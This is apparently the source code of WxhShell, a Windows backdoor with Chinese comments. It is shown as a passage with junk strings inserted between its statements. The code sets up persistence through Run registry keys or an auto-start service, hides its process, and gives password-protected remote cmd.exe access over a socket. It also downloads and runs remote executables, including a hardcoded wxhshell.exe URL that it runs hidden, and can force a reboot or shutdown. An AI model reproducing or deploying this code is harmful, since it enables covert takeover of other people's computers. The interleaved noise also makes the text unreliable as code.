^ if(NULL == hInst ) return 0; !hJ!ck]M 7/M[T\c g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /w?zO,! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KHP/Y{mH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !L+b{ ~_0XG0oA if (!NtQueryInformationProcess) return 0; Q|[^dju }!xc@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MMO/vJC if(!hProcess) return 0; !'!\>x$ 1Ov oW Nx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \DlMOG #-b}QhxH CloseHandle(hProcess); a`:F07r xrXfZ>$5bM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^PC;fn,I if(hProcess==NULL) return 0;
cY+fZ= <FR!x#!
HMODULE hMod; o5RvxGN char procName[255]; x?rd9c unsigned long cbNeeded; /\qzTo .Erv\lv* if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EPwU{*F ^d#
AU7V| CloseHandle(hProcess); Uo9@Y{<B @ o<OI if(strstr(procName,"services")) return 1; // 以服务启动 [g`4$_9S %<+Ku11 return 0; // 注册表启动 oR%cG"y } HoX={^aG% S
-,$ ( // 主模块 S@[NKY int StartWxhshell(LPSTR lpCmdLine) 8B+C[Q:+' { uEhPO SOCKET wsl; hKhad8 BOOL val=TRUE; ajG_t int port=0; v6wg,,T struct sockaddr_in door; >bI\pJ 'Hj([N if(wscfg.ws_autoins) Install(); fg,vTpBk <}.!G>X port=atoi(lpCmdLine); N,8.W"fV E|oOd<z if(port<=0) port=wscfg.ws_port; {|0YcL 9*~";{O.Oa WSADATA data; *yHz#u' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XxeP;} jq#`cay! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DGTE#?'( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7'8G,|&:* door.sin_family = AF_INET; x8c>2w;6x^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); PYNY1|3 door.sin_port = htons(port); vo:h"ti *6][[)( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *T}c{/ closesocket(wsl); 6)ysiAH? return 1; Jw;G_dQ[ } eC<?g [5!{>L` if(listen(wsl,2) == INVALID_SOCKET) { 1Ke9H!_P closesocket(wsl); dEI!r1~n return 1; * >:< } GbQg(%2F Wxhshell(wsl); hAds15 %C WSACleanup(); Pd;8<UMk x1Z'_Qw return 0; RZVZ#q(DU n'j}u } :)4c_51 ` Z:<wB#G // 以NT服务方式启动 n``9H91 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z<=L { ugj I$u DWORD status = 0; 2[1t
)EW DWORD specificError = 0xfffffff; ]
X)~D!mA u^Ktz
DmL serviceStatus.dwServiceType = SERVICE_WIN32; X$~T*l0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; p<mBC2!% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {wk#n.c serviceStatus.dwWin32ExitCode = 0; owyQFk serviceStatus.dwServiceSpecificExitCode = 0; lqO>Q1_{K serviceStatus.dwCheckPoint = 0; C%ZPWOc_8 serviceStatus.dwWaitHint = 0; <Voct WuI$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A5\ Hq if (hServiceStatusHandle==0) return; xh#pw2v7V p/l">d]+ status = GetLastError(); p)z#%BY56 if (status!=NO_ERROR) W lW%z(RC { '6g-]rE[ serviceStatus.dwCurrentState = SERVICE_STOPPED; M$!-B,1BX serviceStatus.dwCheckPoint = 0; {KK/mAp{ serviceStatus.dwWaitHint = 0; Yi[MoYe/K serviceStatus.dwWin32ExitCode = status; rf`xY4I\ serviceStatus.dwServiceSpecificExitCode = specificError; RFSwX*! SetServiceStatus(hServiceStatusHandle, &serviceStatus); j,
*=D6 return; +~P_o_M } xzFQ)t& [wJ\.9<Oa serviceStatus.dwCurrentState = SERVICE_RUNNING; / $s(OFbi# serviceStatus.dwCheckPoint = 0; WCk. K serviceStatus.dwWaitHint = 0; C1l'< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \"L0d1DK) } +T4}wm &U`ug"/k // 处理NT服务事件,比如:启动、停止 WWOt>C~zV VOID WINAPI NTServiceHandler(DWORD fdwControl) r=7!S8' { jS8B:> switch(fdwControl) [#G*GAa6* { ^wwS`vPb case SERVICE_CONTROL_STOP: d0Ubt serviceStatus.dwWin32ExitCode = 0; M} ri>o serviceStatus.dwCurrentState = SERVICE_STOPPED; d.Ccc/1- serviceStatus.dwCheckPoint = 0; Wi,)a{ serviceStatus.dwWaitHint = 0; G^.tAO5:f { s +qodb+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0r i } 8<ev5af return; SXE@\Afj case SERVICE_CONTROL_PAUSE: (c"!&&S^ = serviceStatus.dwCurrentState = SERVICE_PAUSED; q
\fyp\z break; =[Z3]#h case SERVICE_CONTROL_CONTINUE: G;[O~N3n. serviceStatus.dwCurrentState = SERVICE_RUNNING; w8: break; 8GjETq%} case SERVICE_CONTROL_INTERROGATE: <9:~u]ixt break; .RAyi>\e }; (J%>{?"ij SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6hcK%0z } @o#Yq
n3Y =1VZcLNt // 标准应用程序主函数 rQ2TPX<?a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !mB
`F C { \!w | zuFPG{^\# // 获取操作系统版本 qzO5p=} OsIsNt=GetOsVer(); >pJ#b= GetModuleFileName(NULL,ExeFile,MAX_PATH); jffNA^e 3J/l>1[ // 从命令行安装 )iK:BL*Nw if(strpbrk(lpCmdLine,"iI")) Install(); cW"DDm
g jP2#w{xq // 下载执行文件 bC) <K/Q9 if(wscfg.ws_downexe) { rce._w } if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a"t~K WinExec(wscfg.ws_filenam,SW_HIDE); 4%_xTo } .!i`YT*jF R(8?9-w if(!OsIsNt) { %XZhSmlf // 如果时win9x,隐藏进程并且设置为注册表启动 _ yDDPuAi HideProc(); o-AF_N StartWxhshell(lpCmdLine); ]ZW-`U MO } |B'4wF> else $"MVr5q6 if(StartFromService()) -XK;B--c // 以服务方式启动 (plT/0=^t StartServiceCtrlDispatcher(DispatchTable); O,vC:av else T{-gbo`Yji // 普通方式启动 gf9U<J#&C StartWxhshell(lpCmdLine); S;D]ym bGy|T*@ return 0; @de0)AJG6 } 9HlWoHuC >El]5M7h7 dV}]\8N \1n (Jr.< =========================================== nII#uI/!q
]w$cqUhM \d]Y#j< 2m*/$GZ BSJS4+,E K@*4=0 " .c @Y?..+ G K3T w #include <stdio.h> kg7bZ #include <string.h> '.>y'= #include <windows.h> gN73)uJ0 #include <winsock2.h> )54a' Hp #include <winsvc.h> kUT^o #include <urlmon.h> YU)%-V\ G]EI!-y #pragma comment (lib, "Ws2_32.lib") 0w< ilJ #pragma comment (lib, "urlmon.lib") sX3qrRY L$+_ #define MAX_USER 100 // 最大客户端连接数 ;O{bF8U #define BUF_SOCK 200 // sock buffer h+Yd
\k #define KEY_BUFF 255 // 输入 buffer :xbj&
l =YfzB!ld #define REBOOT 0 // 重启 j(K)CHH #define SHUTDOWN 1 // 关机 (\r^0>H /0fHkj/J=B #define DEF_PORT 5000 // 监听端口 L%<]gJtrO ZJF+./vN #define REG_LEN 16 // 注册表键长度 mE>{K #define SVC_LEN 80 // NT服务名长度 Tr|PR t H Vhd#Q; // 从dll定义API GRVF/hPn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BSB&zp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qbCU&G|) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f1elzANy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PlK3; 7zA+UWr // wxhshell配置信息 [u^ fy<jdp struct WSCFG { so/0f1R?~ int ws_port; // 监听端口 J|^z>gP( char ws_passstr[REG_LEN]; // 口令 mh`uvqY int ws_autoins; // 安装标记, 1=yes 0=no ur=:Ha char ws_regname[REG_LEN]; // 注册表键名 mW+5I-~ char ws_svcname[REG_LEN]; // 服务名 0 z]H= char ws_svcdisp[SVC_LEN]; // 服务显示名 JP5en char ws_svcdesc[SVC_LEN]; // 服务描述信息 j72mm! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VlSM/y5 int ws_downexe; // 下载执行标记, 1=yes 0=no ^6F, lS _t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z 0zB&} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )PYh./_2 %|^,Q -i, }; 9ZatlI, v6[VdWOx5 // default Wxhshell configuration fo`R=|L[ struct WSCFG wscfg={DEF_PORT, .3V L "xuhuanlingzhe", e>.^RtDF 1, %hw4IcWJ| "Wxhshell", 9^`cVjD5 "Wxhshell", &,:!gYN "WxhShell Service", zxD=q5in "Wrsky Windows CmdShell Service", *//z$la "Please Input Your Password: ", `kv7Rr}Q 1, ["Tro;K# "http://www.wrsky.com/wxhshell.exe", #CAZ}];Qx "Wxhshell.exe" m']$)Iqw }; }u$c*} BYHyqpP9 // 消息定义模块 GM1.pVb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t%5bDdo char *msg_ws_prompt="\n\r? for help\n\r#>"; [e@m-/B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OI78wG char *msg_ws_ext="\n\rExit."; in,0(I&I char *msg_ws_end="\n\rQuit."; )'e1@CR char *msg_ws_boot="\n\rReboot..."; wq!9wk9 char *msg_ws_poff="\n\rShutdown..."; $sg- P|Wo char *msg_ws_down="\n\rSave to "; Ruq>+ }4 MU2kA&LH char *msg_ws_err="\n\rErr!"; N;BuBm5K char *msg_ws_ok="\n\rOK!"; 1>Vq<z A-_M=\ char ExeFile[MAX_PATH]; T /IX(b'< int nUser = 0; K`uPPyv HANDLE handles[MAX_USER]; Nq\)o{<1 int OsIsNt; `.3.n8V ADB)-!$xoi SERVICE_STATUS serviceStatus; O;McPw<&\: SERVICE_STATUS_HANDLE hServiceStatusHandle; 2@pEiq3 "xHK* // 函数声明 z8%qCq int Install(void); zSk`Ou8M int Uninstall(void); %[9ty`UE int DownloadFile(char *sURL, SOCKET wsh); MtF0/aT int Boot(int flag); BD}%RTeWKq void HideProc(void); NV?XZ[<*< int GetOsVer(void); -)Vy)hD, int Wxhshell(SOCKET wsl); ZqpK}I void TalkWithClient(void *cs); c=bK_Z_ int CmdShell(SOCKET sock); Hg8
4\fA int StartFromService(void); <RbfW'<G int StartWxhshell(LPSTR lpCmdLine); V?)V2>] w9RBT(u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &+ PVY>q VOID WINAPI NTServiceHandler( DWORD fdwControl ); %H&WihQ =_g#I // 数据结构和表定义 J|be'V#]1 SERVICE_TABLE_ENTRY DispatchTable[] = #902x*Z'c" { R+e)TR7+ {wscfg.ws_svcname, NTServiceMain}, /L@o.[H {NULL, NULL} re#]zc< }; =A{'57yP UWS 91GN@ // 自我安装 }lhk;#r int Install(void) }Y!s:w# { xN}f? char svExeFile[MAX_PATH]; F1B/cd HKEY key; u>agVB4\F strcpy(svExeFile,ExeFile); 8\:>;XG6f 7t}s5}Z 4 // 如果是win9x系统,修改注册表设为自启动 Ygkf}n if(!OsIsNt) { ?1Vx)j>| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T"C.>G'[B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gGBRfq> RegCloseKey(key); aK| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +opym!\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hJSWh5] RegCloseKey(key); YDYNAOThnb return 0; HrFbUK@@ } vfx{:3fO } |wQ3+WN| } sKR%YK
"A else { F s=x+8'M vkR~nIp // 如果是NT以上系统,安装为系统服务 q+<,FdG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$?gKIv>g if (schSCManager!=0) r2i]9>w { J.U%W}Hx SC_HANDLE schService = CreateService D8PC;@m
( cq
gCcO, schSCManager, AGS(ud{ wscfg.ws_svcname, B1E:P`t wscfg.ws_svcdisp, ; !t?* SERVICE_ALL_ACCESS, /n>vPJvz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G973n SERVICE_AUTO_START, *14:^neoI SERVICE_ERROR_NORMAL, -O=xgvh" svExeFile, T<Qa`|5> NULL, v''J@ F7 NULL, {YrA[9 NULL, c'Ibgfx%m NULL, oAB:H\ NULL `nEqw/I ); f O+lD if (schService!=0) ./0wt+ { AS~!YR CloseServiceHandle(schService); %{:pBt:Z CloseServiceHandle(schSCManager); <ME>#, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &sBD0R(a strcat(svExeFile,wscfg.ws_svcname); opN4@a7l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QLHEzEvf{/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jc]66
RegCloseKey(key); LN<rBF[_:f return 0; @W$ha
y } ~7g$TAe{ } 88[u^aC CloseServiceHandle(schSCManager); Q!=`|X|: } EK0~3HSZ } V\r{6-%XiW 4t/ ?b return 1; r%X
M`;bQX } h?B1Emlq l. l)w // 自我卸载 EowzEGq!a5 int Uninstall(void) _!Tjb^ { ! os@G HKEY key; > mJ`904L 'X6Y!VDd if(!OsIsNt) {
JgKhrDx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Df *<3G RegDeleteValue(key,wscfg.ws_regname); KQ81Oxu*C RegCloseKey(key); d=uGB" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C|w<mryx RegDeleteValue(key,wscfg.ws_regname); H`URJ8k$Q RegCloseKey(key); 4/mz>eK" return 0; Ya!e83-r } cwtlOg } (0`w.n } B|$o.$5 else { vRf$#fBEQ 7w8UnPuM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uW#s;1H.) if (schSCManager!=0) s] ;P< { D2gyn-]\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); um_J%v6ER if (schService!=0) y3QS!3I { *f>\X[wN if(DeleteService(schService)!=0) { Jq? zr]"A CloseServiceHandle(schService); a'Zw^g CloseServiceHandle(schSCManager); ,2 W=/,5A return 0; <]|HGc } .q4$)8[Pg CloseServiceHandle(schService); 9Hb|$/FD } afD {w*[8 CloseServiceHandle(schSCManager); p>3QW3< } a;-%C{S9r } cTRtMk%^ QUvSeNSp return 1; %N(>B_t\ } #9.%>1{6Y HJym|G>%? // 从指定url下载文件 BtKor6ba int DownloadFile(char *sURL, SOCKET wsh) Hy,""Py { 6Uq;]@k% HRESULT hr; Zz/p'3?# char seps[]= "/"; *fv BB9raq char *token; ;~d$OM char *file; >#l:]T char myURL[MAX_PATH]; S+-$Ih`[ char myFILE[MAX_PATH]; =h|cs{eT\2 EEK!'[<,sE strcpy(myURL,sURL); pYr+n9)^ token=strtok(myURL,seps); zks7wt]A while(token!=NULL) L$s ENOm { ) )FLM^dj file=token; bqA`oRb\ token=strtok(NULL,seps); UF }[%Sa } =2QP7W3mg< :&'jh/vRN GetCurrentDirectory(MAX_PATH,myFILE); 9y5JV3 strcat(myFILE, "\\"); KfZb=v;-l strcat(myFILE, file); 3RvDX p send(wsh,myFILE,strlen(myFILE),0); mv~?1aIKD send(wsh,"...",3,0); &nI>`Q' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qo^(r$BD if(hr==S_OK) q+p}U}L=
k return 0; Gr/}&+S else 2QAP$f0Ln return 1; =2=rPZw9 yZgWFf.X }
EStui>ho CxJ3u // 系统电源模块 w{k ^O7~ int Boot(int flag) JsuI&v { Z[]8X@IPe HANDLE hToken; zF>;7'\x TOKEN_PRIVILEGES tkp; B]() |mRlP5 if(OsIsNt) { |j9aTv[` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f8N*[by LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "M /Cl|z
tkp.PrivilegeCount = 1; n=F
r v*"Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mlo,F1'?> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5G(dvM-n if(flag==REBOOT) { Yo'Y-h# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p=E#!cn3 return 0; P2aFn=f } 2Vf242z_ else { @n.n[zb\| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i|AWaG) return 0; p'%S{v@5(( } I=<Qpd4 } i '*!c else { n^hkH1vY if(flag==REBOOT) { ">3t+A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1i~q~O, return 0; Z}>F
V~4 } 'xG J;pY else { !5?_) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <rK[ &JlJ return 0; 4'*.3f'bp } _xm<zy{`S } }d>.Nj#zh %*npLDi return 1; p}pd&ut1 } 6S_mfWsi 3c,4 wyn // win9x进程隐藏模块 Q3&DA1b` void HideProc(void) #Y=b7|l { U!uJ )mm E0fMFG^P HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~|O; Sdo= if ( hKernel != NULL ) !u8IZpf { S5ai@Ksf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {,h_T0D^j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N"G\H<n FreeLibrary(hKernel); r63l( } fpC":EX@r k+P3z&e return; Bt,'g*Cs } s5mJ
- RN[x\" , // 获取操作系统版本 lMu-,Z=" int GetOsVer(void) ,tg]Gt { M/9[P*
VE OSVERSIONINFO winfo; \<T7EV. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1y1:<t GetVersionEx(&winfo); UF-'( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]a&riPh" return 1; phf{b+'#X else '/6f2[%Y" return 0; &I8DK).M+ } Wex2Fd?DO ED79a: // 客户端句柄模块 U!c+i#:t int Wxhshell(SOCKET wsl) cNmAr8^} { quaRVD>s + SOCKET wsh; JeNX5bXW struct sockaddr_in client; {^N,$,Ab. DWORD myID; O#18a,o@ &g23tT#P? while(nUser<MAX_USER) WoGnJ0N q { 71P. 9Iz int nSize=sizeof(client); I(7iD. ^: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YLA(hg| if(wsh==INVALID_SOCKET) return 1; -=8f*K[W \ctzv``/n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $!9/s S? if(handles[nUser]==0) XXA'B{@Y) closesocket(wsh); aZ\Z7( else ^w``(-[* nUser++; >#;;g2UV } p=> +3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cQThpgha ~uZ9%UB_m return 0; G;u~H< } MmvOyKNZF $^^M&[b- // 关闭 socket B]<N7NYn1 void CloseIt(SOCKET wsh) =FIZh}JD { HDzeotD closesocket(wsh); @jMo/kO/A nUser--; -X7x~x- ExitThread(0); !A%
vR\ } CVkJMH_ Z`GEF|eh // 客户端请求句柄 bf2n%-&9g void TalkWithClient(void *cs) ~p
n$'1Q { MoEh25U. Hmhsb2`\ SOCKET wsh=(SOCKET)cs; Y:m8UnT char pwd[SVC_LEN]; z2,NWmP|w char cmd[KEY_BUFF]; mrG?5.7W char chr[1]; w ~crj$UM int i,j; 8?kB+}@6X R_GA`U\ { while (nUser < MAX_USER) { -X%twy= U"Bge\6x= if(wscfg.ws_passstr) { 8,vP']4r% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fSVM[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UukY9n];] //ZeroMemory(pwd,KEY_BUFF); noa+h<vGb i=0; r1RM7y while(i<SVC_LEN) { vShB26b Z"w}`&TC$^ // 设置超时 4h--x~ @ fd_set FdRead; o_Y?s+~i[/ struct timeval TimeOut; VZ`YbY FD_ZERO(&FdRead); tS3&&t FD_SET(wsh,&FdRead); AT3HHQD TimeOut.tv_sec=8; g5Io=e@s TimeOut.tv_usec=0; !- QB>`7$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0k?]~f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /`aPV"$M t4:/qy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7zE1>. pwd=chr[0]; m
zoH$@ if(chr[0]==0xd || chr[0]==0xa) { <^{(?* pwd=0; Nr,I`x\N break; GtIAsC03 } )y:))\> i++; $J)`Ru6. } !qlk-0&` }u0&> k|y // 如果是非法用户,关闭 socket fiSX( 9 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &{a#8sbf#c } WpE"A 'IIa,']H send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D5bi)@G7z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OT|0_d?bD &K[~Ab_ while(1) { o::9M_; 4%_c9nat ZeroMemory(cmd,KEY_BUFF); +=|%9% 09Eg ti. // 自动支持客户端 telnet标准 lcReRcjm j=0; ]=xX_ while(j<KEY_BUFF) { &vN!>bR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A(`Mwh+ cmd[j]=chr[0]; |+sAqx1IF if(chr[0]==0xa || chr[0]==0xd) { p}gA8o cmd[j]=0; T5T[$%]6 break; T<Zi67QC@ } 5i'?oXL j++; L5KcI } 0
.T5%
_/ 9X33{ // 下载文件 Tl-%;X<X if(strstr(cmd,"http://")) { ?g@X+!RB send(wsh,msg_ws_down,strlen(msg_ws_down),0); wEI?
9 if(DownloadFile(cmd,wsh)) bvhV send(wsh,msg_ws_err,strlen(msg_ws_err),0); !e
|Bi{ else e F}KOOfC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
;Q/1l=Bn } yn(bW\ else { N,VI55J:y> En&gI`3n switch(cmd[0]) { eBmHb\ RK$( // 帮助 M80O;0N%A case '?': { 7aPA+gA/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @/$i
-?E break; !>Q\Y`a,* } ^vxNS[C`; // 安装 q?]KZ_a case 'i': { aAn p7\7 if(Install()) 017n hI send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8o
$` ' else 6jm/y@|F! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 368 g>/#' break; rqm":N8@ } -w)v38iX! // 卸载 @PQd6%@ case 'r': { tk8\,!9Q if(Uninstall()) L@Qvj-5e send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?pd/cj^ else <~_XT>`y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z_{_wAuY break; fF9hL3h?) } %i?v)EW // 显示 wxhshell 所在路径 gCVOm-*: case 'p': { $cm9xW& char svExeFile[MAX_PATH]; F1M:"-bda strcpy(svExeFile,"\n\r"); .We{W{ strcat(svExeFile,ExeFile); RVs=s}|>* send(wsh,svExeFile,strlen(svExeFile),0); psz0q| break; :+
1Wmg } $ZB`4!JxG // 重启 W* v3B. case 'b': { ZUz7h^3@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C,LosAd if(Boot(REBOOT)) NB.'>Sar send(wsh,msg_ws_err,strlen(msg_ws_err),0); #67 7,dn else { %CgV:.,K closesocket(wsh); MTNC{:Q ExitThread(0); ,\RR@~u' } jPx}-_jM break; {L.uLr_?e } _nX8f
& // 关机 -m
;n}ECg case 'd': { 08%Bx~88_% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K,U8 vc if(Boot(SHUTDOWN)) 37jrWe6xwp send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44YKS>Cq else { #ZnNJ\6 closesocket(wsh); JZ:yPvJ ExitThread(0); GWWaH+F[h } H(M{hfa| break; m"'`$ /_ } IAe/) // 获取shell qss)5a/x. case 's': { $ye>;Ek CmdShell(wsh); x_C0=Q|K3 closesocket(wsh); d:#tN4y7( ExitThread(0); %@TC-
xx break; P6'Se'f8 } qTMY]=( // 退出 F=#V/ #ia case 'x': { |pq9i)e& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _.BT%4 CloseIt(wsh); \ptjnwC^O break; SN\c2^# } 0O*kC43E_ // 离开 "Y- WY,H case 'q': { qn |~YXn send(wsh,msg_ws_end,strlen(msg_ws_end),0); cKoW5e|u closesocket(wsh); @tD (<*f+ WSACleanup(); 5nsoWqnE8 exit(1); >&7^yXS break; ?`O^;f } S QGYH } Un
T\6u } HXZ,"S O.xtY@'" // 提示信息 u-mD" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kBoQjOV` } %*Uc,V } @_#\qGY -R\dg S3 return; _jgtZ } GCfVH?Vx <dr2 bz // shell模块句柄 D&~%w! int CmdShell(SOCKET sock) Vry_X2 { HSAr6h STARTUPINFO si; \/V#,O ZeroMemory(&si,sizeof(si)); OIjSH~a. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6CW5ay_, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *vvm8ik PROCESS_INFORMATION ProcessInfo; ~oT*@ char cmdline[]="cmd"; 4udj"-V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S'hUh'PZ return 0; *yjnC } /4+(e I7 0 ]L
// 自身启动模式 8?YeaMIBB int StartFromService(void) q(~|roKA( { jI H^ typedef struct TOS'|xQ { dh&>E DWORD ExitStatus; [+xsX*+ DWORD PebBaseAddress; S9r+Nsn DWORD AffinityMask; v_WQ<G? DWORD BasePriority; U/|JAg# ULONG UniqueProcessId; D>HbJCG4^ ULONG InheritedFromUniqueProcessId; ]yZ%wU9! } PROCESS_BASIC_INFORMATION; *)6\V}` ;^E_BJm PROCNTQSIP NtQueryInformationProcess; J.M&Vj: s;*
UP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -V[x
q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VfP\)Rl mw;4/
/R HANDLE hProcess; 0(:SEiz6s PROCESS_BASIC_INFORMATION pbi; FOMJRq vZ.<OD4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); < *;GJ{ if(NULL == hInst ) return 0; jvL!pEC! %b4tyX:N0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `ZI -1&Y3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (K84J*; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X?n=UebO^ /wt7KL-I if (!NtQueryInformationProcess) return 0; \x]\W#C PJe_qP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L
G5_\sY! if(!hProcess) return 0; Vp|?R65S* xSSEDfq if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tpO'<b ,-8-Y>[ CloseHandle(hProcess); Q9xb7)G HTGLFY(& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !U1
vW}H if(hProcess==NULL) return 0; @7C.0>W_A N~l*//Ep HMODULE hMod; P*~
vWYH9 char procName[255]; AovBKB
